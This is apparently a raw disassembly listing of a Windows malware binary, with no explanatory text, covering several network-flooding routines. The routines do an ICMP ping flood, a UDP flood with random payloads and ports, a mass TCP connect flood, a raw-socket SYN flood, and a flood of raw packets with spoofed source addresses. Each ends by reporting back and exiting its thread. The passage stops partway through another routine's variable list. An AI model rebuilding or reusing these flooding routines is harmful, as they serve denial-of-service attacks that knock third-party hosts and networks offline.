xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_415FD9
lea eax, [ebp+74h+var_C0]
push eax
call dword_444168 ; gethostbyname
cmp eax, ebx
jz short loc_415FDF
loc_415FD9: ; CODE XREF: sub_415F82+47j
cmp [ebp+74h+arg_0], 0FFFFFFFFh
jnz short loc_416038
loc_415FDF: ; CODE XREF: sub_415F82+55j
lea eax, [ebp+74h+var_C0]
push eax
lea eax, [ebp+74h+Dest]
push offset asc_43582C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_28], ebx
jnz short loc_41601C
push ebx ; int
push [ebp+74h+var_2C] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_144] ; int
call sub_40123B
add esp, 14h
loc_41601C: ; CODE XREF: sub_415F82+78j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_30]
call sub_40B149
pop ecx
pop ecx
push edi
jmp loc_4160FD
; ---------------------------------------------------------------------------
loc_416038: ; CODE XREF: sub_415F82+5Bj
cmp eax, ebx
jz short loc_416048
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+74h+var_4], eax
jmp short loc_41604B
; ---------------------------------------------------------------------------
loc_416048: ; CODE XREF: sub_415F82+B8j
mov [ebp+74h+var_4], esi
loc_41604B: ; CODE XREF: sub_415F82+C4j
push 1Ch ; Size
lea eax, [ebp+74h+Dst]
push ebx ; Val
push eax ; Dst
call _memset
or [ebp+74h+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+74h+var_3C], eax
jle short loc_41606B
mov [ebp+74h+var_3C], eax
loc_41606B: ; CODE XREF: sub_415F82+E4j
cmp [ebp+74h+var_38], edi
jge short loc_416073
mov [ebp+74h+var_38], edi
loc_416073: ; CODE XREF: sub_415F82+ECj
xor esi, esi
cmp [ebp+74h+var_40], ebx
jle short loc_4160A0
loc_41607A: ; CODE XREF: sub_415F82+11Cj
push [ebp+74h+var_38]
lea eax, [ebp+74h+Dst]
push 1Ch
push eax
push ebx
push [ebp+74h+var_3C]
lea eax, [ebp+74h+var_10320]
push eax
push [ebp+74h+var_4]
push [ebp+74h+arg_0]
call dword_4441F4 ; IcmpSendEcho
inc esi
cmp esi, [ebp+74h+var_40]
jl short loc_41607A
loc_4160A0: ; CODE XREF: sub_415F82+F6j
push [ebp+74h+arg_0]
call dword_44418C ; IcmpCloseHandle
lea eax, [ebp+74h+var_C0]
push eax
lea eax, [ebp+74h+Dest]
push offset asc_435800 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_28], ebx
jnz short loc_4160E6
push ebx ; int
push [ebp+74h+var_2C] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_144] ; int
call sub_40123B
add esp, 14h
loc_4160E6: ; CODE XREF: sub_415F82+142j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_30]
call sub_40B149
pop ecx
pop ecx
push ebx
loc_4160FD: ; CODE XREF: sub_415F82+B1j
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_415F82 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_416104 proc near ; DATA XREF: sub_40274D+5498o
var_10311 = byte ptr -10311h
var_10310 = byte ptr -10310h
Dest = byte ptr -334h
var_134 = dword ptr -134h
Str = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov eax, 10310h
lea ebp, [esp-74h]
call __alloca_probe
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 49h
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_134]
rep movsd
xor esi, esi
inc esi
mov [eax+120h], esi
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
push 11h
push 2
push 2
call dword_444100 ; socket
push 10h ; Size
mov ebx, eax
xor edi, edi
lea eax, [ebp+74h+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+74h+var_B0]
push eax
mov [ebp+74h+Dst], 2
call dword_44417C ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+74h+arg_0], eax
jnz short loc_4161E1
lea eax, [ebp+74h+var_B0]
push eax
call dword_444168 ; gethostbyname
cmp eax, edi
jnz short loc_4161DA
lea eax, [ebp+74h+var_B0]
push eax
lea eax, [ebp+74h+Dest]
push offset asc_435880 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_18], edi
jnz short loc_4161BE
push edi ; int
push [ebp+74h+var_1C] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_134] ; int
call sub_40123B
add esp, 14h
loc_4161BE: ; CODE XREF: sub_416104+98j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_20]
call sub_40B149
pop ecx
pop ecx
push esi
jmp loc_41630A
; ---------------------------------------------------------------------------
loc_4161DA: ; CODE XREF: sub_416104+7Bj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_4161E4
; ---------------------------------------------------------------------------
loc_4161E1: ; CODE XREF: sub_416104+6Dj
lea eax, [ebp+74h+arg_0]
loc_4161E4: ; CODE XREF: sub_416104+DBj
cmp [ebp+74h+var_24], edi
mov eax, [eax]
mov [ebp+74h+var_C], eax
jnz short loc_4161FF
call _rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_416202
; ---------------------------------------------------------------------------
loc_4161FF: ; CODE XREF: sub_416104+E8j
push [ebp+74h+var_24]
loc_416202: ; CODE XREF: sub_416104+F9j
call dword_444260 ; htons
cmp [ebp+74h+var_24], esi
mov [ebp+74h+var_E], ax
jge short loc_416214
mov [ebp+74h+var_24], esi
loc_416214: ; CODE XREF: sub_416104+10Bj
mov eax, 0FFFFh
cmp [ebp+74h+var_24], eax
jle short loc_416221
mov [ebp+74h+var_24], eax
loc_416221: ; CODE XREF: sub_416104+118j
mov eax, [ebp+74h+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+74h+var_28], edi
mov [ebp+74h+var_30], eax
jnz short loc_416235
mov [ebp+74h+var_28], esi
loc_416235: ; CODE XREF: sub_416104+12Cj
xor esi, esi
cmp [ebp+74h+var_2C], edi
jle short loc_4162AE
loc_41623C: ; CODE XREF: sub_416104+150j
call _rand
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+74h+var_2C]
mov [ebp+esi+74h+var_10311], dl
jl short loc_41623C
jmp short loc_4162AE
; ---------------------------------------------------------------------------
loc_416258: ; CODE XREF: sub_416104+1ADj
dec [ebp+74h+var_30]
push 0Bh
pop esi
loc_41625E: ; CODE XREF: sub_416104+18Aj
push 10h
lea eax, [ebp+74h+Dst]
push eax
push edi
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+74h+var_2C]
sub eax, edx
push eax
lea eax, [ebp+74h+var_10310]
push eax
push ebx
call dword_4440CC ; sendto
push [ebp+74h+var_28]
call ds:dword_42B014 ; Sleep
dec esi
jnz short loc_41625E
cmp [ebp+74h+var_24], edi
jnz short loc_4162AE
call _rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_444260 ; htons
mov [ebp+74h+var_E], ax
loc_4162AE: ; CODE XREF: sub_416104+136j
; sub_416104+152j ...
cmp [ebp+74h+var_30], edi
jg short loc_416258
dec [ebp+74h+var_30]
lea eax, [ebp+74h+var_B0]
push eax
lea eax, [ebp+74h+Dest]
push offset asc_435854 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_18], edi
jnz short loc_4162F3
push edi ; int
push [ebp+74h+var_1C] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_134] ; int
call sub_40123B
add esp, 14h
loc_4162F3: ; CODE XREF: sub_416104+1CDj
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_20]
call sub_40B149
pop ecx
pop ecx
push edi
loc_41630A: ; CODE XREF: sub_416104+D1j
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_416104 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416311 proc near ; CODE XREF: sub_4163CB+27p
var_654 = dword ptr -654h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push [ebp+arg_4]
mov [ebp+Dst], 2
call dword_444260 ; htons
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_4163C7
push esi
push edi
mov [ebp+arg_0], eax
mov edi, 190h
loc_41635B: ; CODE XREF: sub_416311+B2j
xor esi, esi
loc_41635D: ; CODE XREF: sub_416311+77j
push 0
push 1
push 2
call ds:dword_42B20C ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+esi*4+var_654], eax
jz short loc_416385
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call ds:dword_42B1E4 ; ioctlsocket
loc_416385: ; CODE XREF: sub_416311+62j
inc esi
cmp esi, edi
jl short loc_41635D
xor esi, esi
loc_41638C: ; CODE XREF: sub_416311+91j
push 10h
lea eax, [ebp+Dst]
push eax
push [ebp+esi*4+var_654]
call ds:dword_42B1F4 ; connect
inc esi
cmp esi, edi
jl short loc_41638C
push 64h
call ds:dword_42B014 ; Sleep
xor esi, esi
loc_4163AE: ; CODE XREF: sub_416311+ADj
push [ebp+esi*4+var_654]
call ds:dword_42B1F8 ; closesocket
inc esi
cmp esi, edi
jl short loc_4163AE
dec [ebp+arg_0]
jnz short loc_41635B
pop edi
pop esi
loc_4163C7: ; CODE XREF: sub_416311+3Ej
xor eax, eax
leave
retn
sub_416311 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4163CB(int,char *Str,int)
sub_4163CB proc near ; CODE XREF: sub_41640E+3Cp
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_4022BD
push [esp+10h+Str] ; Str
mov edi, eax
call j__atol
push [esp+14h+arg_8] ; Str
mov ebx, eax
call j__atol
mov esi, eax
push esi
push ebx
push edi
call sub_416311
add esp, 18h
test eax, eax
jnz short loc_4163FF
inc eax
loc_4163FF: ; CODE XREF: sub_4163CB+31j
cdq
mov ecx, 3E8h
idiv ecx
pop edi
cdq
idiv esi
pop esi
pop ebx
retn
sub_4163CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41640E proc near ; DATA XREF: sub_40274D+4B72o
Dest = byte ptr -414h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_190 = byte ptr -190h
var_110 = dword ptr -110h
Str = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov esi, eax
mov ecx, 85h
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax ; int
lea eax, [ebp+var_190]
push eax ; Str
lea eax, [ebp+var_210]
push eax ; int
call sub_4163CB
push eax
lea eax, [ebp+Dest]
push offset asc_4358A8 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_41648B
push esi ; int
push [ebp+var_C] ; int
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_214] ; int
call sub_40123B
add esp, 14h
loc_41648B: ; CODE XREF: sub_41640E+5Bj
lea eax, [ebp+Dest]
push eax
call sub_417D70
push [ebp+var_10]
call sub_40B149
pop ecx
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_41640E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=68h
sub_4164A9 proc near ; CODE XREF: sub_41677E+3Cp
var_288 = byte ptr -288h
Dest = byte ptr -0F8h
var_B8 = dword ptr -0B8h
var_B0 = byte ptr -0B0h
var_AF = byte ptr -0AFh
var_9C = byte ptr -9Ch
var_90 = byte ptr -90h
var_88 = byte ptr -88h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
Src = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_63 = byte ptr -63h
var_62 = word ptr -62h
Dst = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = byte ptr -1Ch
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
lea ebp, [esp-68h]
sub esp, 288h
push ebx
push edi
push 0Eh
pop ecx
xor eax, eax
xor ebx, ebx
mov [ebp+68h+var_B0], bl
lea edi, [ebp+68h+var_AF]
rep stosd
stosw
stosb
lea eax, [ebp+68h+var_288]
push eax
push 202h
call dword_444110 ; WSAStartup
test eax, eax
jz short loc_4164E5
xor eax, eax
jmp loc_416777
; ---------------------------------------------------------------------------
loc_4164E5: ; CODE XREF: sub_4164A9+33j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_444074 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+68h+var_4], eax
jz loc_41676F
push 4
lea ecx, [ebp+68h+var_3C]
push ecx
push 2
push ebx
push eax
mov [ebp+68h+var_3C], edi
call dword_444120 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_416766
push esi
push 10h ; Size
lea eax, [ebp+68h+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push [ebp+68h+arg_8]
mov [ebp+68h+Dst], 2
call dword_444260 ; htons
mov esi, [ebp+68h+arg_0]
push 28h
mov [ebp+68h+var_4A], ax
mov [ebp+68h+var_48], esi
mov [ebp+68h+var_1C], 45h
call dword_444260 ; htons
push [ebp+68h+arg_8]
mov [ebp+68h+var_1A], ax
mov [ebp+68h+var_18], di
mov [ebp+68h+var_16], bx
mov [ebp+68h+var_14], 80h
mov [ebp+68h+var_13], 6
mov [ebp+68h+var_12], bx
mov [ebp+68h+var_C], esi
call dword_444260 ; htons
push 4000h
mov [ebp+68h+var_2E], ax
mov [ebp+68h+var_28], ebx
mov [ebp+68h+var_24], 50h
mov [ebp+68h+var_23], 2
call dword_444260 ; htons
mov [ebp+68h+var_22], ax
lea eax, [ebp+68h+var_74]
push eax
mov [ebp+68h+var_1E], bx
mov [ebp+68h+var_8], ebx
call ds:dword_42B0DC ; QueryPerformanceFrequency
lea eax, [ebp+68h+var_38]
push eax
call ds:dword_42B0D8 ; QueryPerformanceCounter
push [ebp+68h+var_70]
mov eax, [ebp+68h+arg_C]
push [ebp+68h+var_74]
cdq
push edx
push eax
call __allmul
add eax, [ebp+68h+var_38]
mov edi, edx
adc edi, [ebp+68h+var_34]
mov [ebp+68h+var_B8], eax
mov [ebp+68h+var_20], bx
call _rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_444260 ; htons
mov [ebp+68h+var_30], ax
call _rand
call _rand
push eax
call dword_444260 ; htons
push [ebp+68h+arg_4]
movzx eax, ax
mov [ebp+68h+var_2C], eax
call dword_444234 ; htonl
push 14h
pop esi
jmp short loc_41667F
; ---------------------------------------------------------------------------
loc_416617: ; CODE XREF: sub_4164A9+28Aj
add [ebp+68h+var_8], eax
lea eax, [ebp+68h+var_38]
push eax
call ds:dword_42B0D8 ; QueryPerformanceCounter
mov eax, [ebp+68h+var_34]
cmp eax, edi
jg loc_416762
jl short loc_41663D
mov eax, [ebp+68h+var_38]
cmp eax, [ebp+68h+var_B8]
jnb loc_416762
loc_41663D: ; CODE XREF: sub_4164A9+186j
mov [ebp+68h+var_20], bx
call _rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_444260 ; htons
mov [ebp+68h+var_30], ax
call _rand
call _rand
push eax
call dword_444260 ; htons
push [ebp+68h+arg_4]
movzx eax, ax
mov [ebp+68h+var_2C], eax
call dword_444234 ; htonl
loc_41667F: ; CODE XREF: sub_4164A9+16Cj
inc [ebp+68h+arg_4]
mov [ebp+68h+var_10], eax
mov eax, [ebp+68h+var_C]
push esi
mov [ebp+68h+var_68], eax
mov [ebp+68h+var_64], bl
mov [ebp+68h+var_63], 6
call dword_444260 ; htons
mov [ebp+68h+var_62], ax
mov eax, [ebp+68h+var_10]
mov [ebp+68h+Src], eax
lea eax, [ebp+68h+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+68h+var_B0]
push eax ; Dst
call _memcpy
lea eax, [ebp+68h+var_30]
push esi ; Size
push eax ; Src
lea eax, [ebp+68h+var_90]
push eax ; Dst
call _memcpy
lea eax, [ebp+68h+var_B0]
push 34h
push eax
call sub_402422
mov [ebp+68h+var_20], ax
lea eax, [ebp+68h+var_1C]
push esi ; Size
push eax ; Src
lea eax, [ebp+68h+var_B0]
push eax ; Dst
call _memcpy
lea eax, [ebp+68h+var_30]
push esi ; Size
push eax ; Src
lea eax, [ebp+68h+var_9C]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+68h+var_88]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+68h+var_B0]
push 28h
push eax
call sub_402422
mov [ebp+68h+var_12], ax
lea eax, [ebp+68h+var_1C]
push esi ; Size
push eax ; Src
lea eax, [ebp+68h+var_B0]
push eax ; Dst
call _memcpy
add esp, 14h
push 10h
lea eax, [ebp+68h+Dst]
push eax
push ebx
push 28h
lea eax, [ebp+68h+var_B0]
push eax
push [ebp+68h+var_4]
call dword_4440CC ; sendto
cmp eax, 0FFFFFFFFh
jnz loc_416617
call dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp+68h+Dest]
push offset asc_4358D4 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+68h+Dest]
push eax
call sub_417D70
add esp, 10h
jmp short loc_416765
; ---------------------------------------------------------------------------
loc_416762: ; CODE XREF: sub_4164A9+180j
; sub_4164A9+18Ej
mov ebx, [ebp+68h+var_8]
loc_416765: ; CODE XREF: sub_4164A9+2B7j
pop esi
loc_416766: ; CODE XREF: sub_4164A9+73j
push [ebp+68h+var_4]
call dword_444218 ; closesocket
loc_41676F: ; CODE XREF: sub_4164A9+57j
call dword_444224 ; WSACleanup
mov eax, ebx
loc_416777: ; CODE XREF: sub_4164A9+37j
pop edi
pop ebx
add ebp, 68h
leave
retn
sub_4164A9 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_41677E(int,char *Str,int)
sub_41677E proc near ; CODE XREF: sub_4167D6+3Cp
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_4022BD
push [esp+10h+Str] ; Str
mov esi, eax
call j__atol
push [esp+14h+arg_8] ; Str
mov ebx, eax
call j__atol
mov edi, eax
call _rand
cdq
mov ecx, 200h
idiv ecx
push edi
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4164A9
add esp, 1Ch
test eax, eax
jnz short loc_4167C7
inc eax
loc_4167C7: ; CODE XREF: sub_41677E+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_41677E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4167D6 proc near ; DATA XREF: sub_40274D+6140o
Dest = byte ptr -414h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_190 = byte ptr -190h
var_110 = dword ptr -110h
Str = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov esi, eax
mov ecx, 85h
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax ; int
lea eax, [ebp+var_190]
push eax ; Str
lea eax, [ebp+var_210]
push eax ; int
call sub_41677E
push eax
lea eax, [ebp+Dest]
push offset asc_4358F4 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_416853
push esi ; int
push [ebp+var_C] ; int
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_214] ; int
call sub_40123B
add esp, 14h
loc_416853: ; CODE XREF: sub_4167D6+5Bj
lea eax, [ebp+Dest]
push eax
call sub_417D70
push [ebp+var_10]
call sub_40B149
pop ecx
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_4167D6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=70h
sub_416871 proc near ; CODE XREF: sub_416A7E+41p
var_98 = word ptr -98h
var_96 = word ptr -96h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
Src = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Dst = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
lea ebp, [esp-70h]
sub esp, 98h
and [ebp+70h+var_88], 0
and [ebp+70h+var_58], 0
push ebx
push esi
push edi
push 4
pop esi
xor eax, eax
xor ecx, ecx
inc ecx
push 6
pop edx
mov ebx, 0FFh
mov [ebp+70h+var_84], ecx
mov [ebp+70h+var_78], edx
lea edi, [ebp+70h+var_54]
mov [ebp+70h+var_80], 2
mov [ebp+70h+var_7C], esi
mov [ebp+70h+var_74], 8
mov [ebp+70h+var_70], 0Ch
mov [ebp+70h+var_6C], 11h
mov [ebp+70h+var_68], 16h
mov [ebp+70h+var_64], 29h
mov [ebp+70h+var_60], 3Ah
mov [ebp+70h+var_5C], ebx
stosd
mov [ebp+70h+var_50], eax
mov [ebp+70h+var_4C], eax
mov [ebp+70h+var_48], eax
mov [ebp+70h+var_3C], edx
mov [ebp+70h+var_34], ecx
mov [ebp+70h+var_30], eax
lea edi, [ebp+70h+var_2C]
mov [ebp+70h+var_44], 2000h
mov [ebp+70h+var_40], esi
mov [ebp+70h+var_38], 3FFFh
stosd
mov edi, 100h
push edi ; unsigned int
mov [ebp+70h+var_28], ecx
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
push edi
push eax
mov [ebp+70h+var_4], eax
call dword_444220 ; gethostname
push [ebp+70h+var_4]
call dword_444168 ; gethostbyname
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
push ebx
push 3
push 2
mov [ebp+70h+var_C], eax
call dword_444100 ; socket
push esi
lea ecx, [ebp+70h+var_28]
push ecx
push 2
push 0
push eax
mov [ebp+70h+var_4], eax
call dword_444120 ; setsockopt
mov esi, 200h
push esi ; Size
call _malloc
mov edi, ds:dword_42B038
pop ecx
mov [ebp+70h+Dst], eax
call edi ; GetTickCount
mov [ebp+70h+var_10], eax
mov eax, [ebp+70h+arg_0]
push 29Ah
mov [ebp+70h+var_94], eax
mov [ebp+70h+var_98], 2
call dword_444260 ; htons
mov [ebp+70h+var_96], ax
jmp loc_416A4A
; ---------------------------------------------------------------------------
loc_416984: ; CODE XREF: sub_416871+1EAj
call _rand
cdq
mov ecx, ebx
idiv ecx
mov eax, [ebp+70h+var_C]
and eax, 0FFFFFFh
shl edx, 18h
or edx, eax
mov [ebp+70h+var_C], edx
call _rand
cdq
mov ecx, ebx
idiv ecx
mov [ebp+70h+var_54], edx
call _rand
cdq
mov ecx, 1FA4h
idiv ecx
mov [ebp+70h+Src], 45h
mov [ebp+70h+var_23], 4
mov [ebp+70h+var_2C], edx
call _rand
mov [ebp+70h+var_20], ax
call _rand
cdq
push 0Ah
pop ecx
idiv ecx
xor eax, eax
mov ax, word ptr [ebp+edx*4+70h+var_50]
push eax
call dword_444260 ; htons
push esi
mov [ebp+70h+var_1E], ax
call dword_444260 ; htons
mov [ebp+70h+var_22], ax
mov [ebp+70h+var_1C], bl
call _rand
cdq
push 0Eh
pop ecx
idiv ecx
push 14h
mov al, byte ptr [ebp+edx*4+70h+var_88]
mov [ebp+70h+var_1B], al
mov eax, [ebp+70h+var_C]
mov [ebp+70h+var_18], eax
mov eax, [ebp+70h+arg_0]
mov [ebp+70h+var_14], eax
lea eax, [ebp+70h+Src]
push eax
call sub_402422
mov [ebp+70h+var_1A], ax
push 14h ; Size
lea eax, [ebp+70h+Src]
push eax ; Src
push [ebp+70h+Dst] ; Dst
call _memcpy
add esp, 14h
push 10h
lea eax, [ebp+70h+var_98]
push eax
push 0
push esi
push [ebp+70h+Dst]
push [ebp+70h+var_4]
call dword_4440CC ; sendto
loc_416A4A: ; CODE XREF: sub_416871+10Ej
call edi ; GetTickCount
sub eax, [ebp+70h+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+70h+arg_4]
jbe loc_416984
push [ebp+70h+Dst] ; Memory
call _free
pop ecx
push [ebp+70h+var_4]
call dword_444218 ; closesocket
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
add ebp, 70h
leave
retn
sub_416871 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_416A7E proc near ; DATA XREF: sub_40274D+6A89o
Dest = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
Str = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+Str]
push eax ; Str
call j__atol
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_44417C ; inet_addr
push eax
call sub_416871
push eax
lea eax, [ebp+Dest]
push offset asc_43591C ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 14h
cmp [ebp+var_8], esi
jnz short loc_416B00
push esi ; int
push [ebp+var_C] ; int
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+var_90]
push eax ; Str
push [ebp+var_194] ; int
call sub_40123B
add esp, 14h
loc_416B00: ; CODE XREF: sub_416A7E+60j
lea eax, [ebp+Dest]
push eax
call sub_417D70
push [ebp+var_10]
call sub_40B149
pop ecx
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_416A7E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame fpd=74h
sub_416B1E proc near ; DATA XREF: sub_40274D+512Eo
Dest = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
Str = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
